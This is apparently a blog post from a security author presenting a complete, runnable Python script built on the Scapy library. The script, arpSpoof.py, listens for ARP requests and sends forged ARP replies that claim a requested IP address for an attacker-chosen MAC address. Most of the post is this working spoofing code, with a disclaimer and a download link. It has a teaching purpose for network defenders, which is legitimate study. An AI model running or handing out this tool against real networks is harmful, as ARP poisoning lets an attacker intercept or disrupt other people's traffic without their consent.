Since Address Resolution Protocol (ARP) is a broadcast protocol, it is possible for us to easily fake ARP replies by simply listening for ARP requests.
In this post, we will develop the code and in this post, we evaluate whether or not it works.
#!/usr/bin/env python
# Author: Nik Alleyne
# Author blog: securitynik.blogspot.com
# Contact: nikalleyne at gmail.com
# arpSpoof.py
# This code is simply for demonstration and education purposes
# if you use this code for anything malicious or you cause disruption
# to your environment or any other, in NO WAY AM I RESPONSIBLE!
from scapy.all import ARP, IP, sniff, send
from subprocess import call
from sys import exit, argv
# Print some basic usage information
def usage():
print(' ./arpSpoof.py - author:Nik Alleyne - securitynik.blogspot.com ')
print(' ./arpSpoof.py interface_to_listen_on ip_address_to_listen_for mac_you_would_like_to_use ')
print(' eg. ./arpSpoof.py eth0 192.168.0.200 01:02:03:04:05:06')
exit(0)
# This function listens for the ARP request and builds the response
def listen_and_build(src_intf, target_ip, my_mac):
# Adding a variable named 'some_data' to make it interesting
some_data = "Hey there watch me ride on ARP ;-) - securitynik"
# using this list I will compare each byte within the protocol destination address
# I needed to do this to ensure I keep the sniff filter as tight as possible
pdst = []
# The IP entered on the command line is being separated by the '.'
pdst = target_ip.split('.')
print(' Listening for ARP request for \'%s\' ... ' %target_ip)
# Let's sniff for our ARP packet
# To keep the filter as tight as possible, let's only capture ARP Requests
# Take a look at 'http://securitynik.blogspot.ca/2015/12/a-few-not-so-basic-windump-examples.html' \
# for the better understanding of the filter value
get_arp_request = sniff(iface=src_intf, filter='arp[6:2] & 0x0F=0x01 and arp[24] & 0xFF='+ pdst[0] +' and arp[25] & 0xFF='+ pdst[1] +' and arp[26] & 0xFF='+pdst[2]+' and arp[27] & 0xFF='+pdst[3], count=1)
# Uncomment the line below to verify the packet is captured
#print(get_arp_request)
# extract the IP of the host sending the request
received_arp_ip_src = get_arp_request[0].getlayer(ARP).psrc
# extract the MAC address of the host sending the request
received_arp_hw_src = get_arp_request[0].getlayer(ARP).hwsrc
# extract the destination which is being searched for
received_arp_ip_dst = get_arp_request[0].getlayer(ARP).pdst
print(' \n Found ARP Request ... ')
print(' source host \'%s(%s)\' looking for destination host \'%s\' ' %(received_arp_ip_src,received_arp_hw_src,received_arp_ip_dst))
print(' \n Building your fake ARP reply ...')
# start building the spoofed ARP request
send_arp_reply = ARP()
# Specify hardware type as Ethernet - let's use the value from the ARP request
send_arp_reply.hwtype = get_arp_request[0].getlayer(ARP).hwtype
# Specify the protocol type as IP - using the value from the ARP request
send_arp_reply.ptype = get_arp_request[0].getlayer(ARP).ptype
# Specify the Ethernet destination/source length. This is 48 bits or 6 bytes. Using values from ARP request
send_arp_reply.hwlen = get_arp_request[0].getlayer(ARP).hwlen
# Specify your protocol length. IPv4 is 32 bits or 4 bytes. Using values from ARP request
send_arp_reply.plen = get_arp_request[0].getlayer(ARP).plen
# Specify the OP code. In this case we use 2 since this is an ARP reply
# This is probably the most important line of our code
send_arp_reply.op = 0x02
# Specify the MAC address which you would like to send
# Let's take this from the command line. This is the 3rd opiton in the commane line argument
send_arp_reply.hwsrc = my_mac
# Specify your IP, or the IP would like to send to the requester.
# Whatever is requested in the ARP request, we will send back in the ARP reply
send_arp_reply.psrc = received_arp_ip_dst
# Specify MAC of the host that should receive this reply.
# We can take that from the request packet
send_arp_reply.hwdst = received_arp_hw_src
# specify the destination IP of the receiving host
# once again we can take this from the request
send_arp_reply.pdst = get_arp_request[0].getlayer(ARP).psrc
print(' sending your fake ARP reply .... ')
print(' Reply from \'%s(%s)\' to requester \'%s(%s)\' ' %(send_arp_reply.psrc,send_arp_reply.hwsrc,send_arp_reply.pdst, send_arp_reply.hwdst))
send(send_arp_reply/some_data, count=3)
# Uncoment the line below if you would like to see your entire ARP reply packet
#print(send_arp_reply.show())
def main():
call('clear')
if ( len(argv) != 4 ):
usage()
# Let's read the values used at the commanline to make our tool work
listen_and_build(argv[1].strip(),argv[2].strip(), argv[3].strip())
if __name__ == '__main__':
main()
So at this point you maybe asking ... but Nik how do we know this works?! ... and this is where I say I'm glad you asked ;-).
Let's look at the next post to verify this works as expected.
Download arpSpoof.py tool
Reference:
https://tools.ietf.org/html/rfc826
http://www.secdev.org/projects/scapy/
This comment has been removed by a blog administrator.
ReplyDeleteThis comment has been removed by the author.
Delete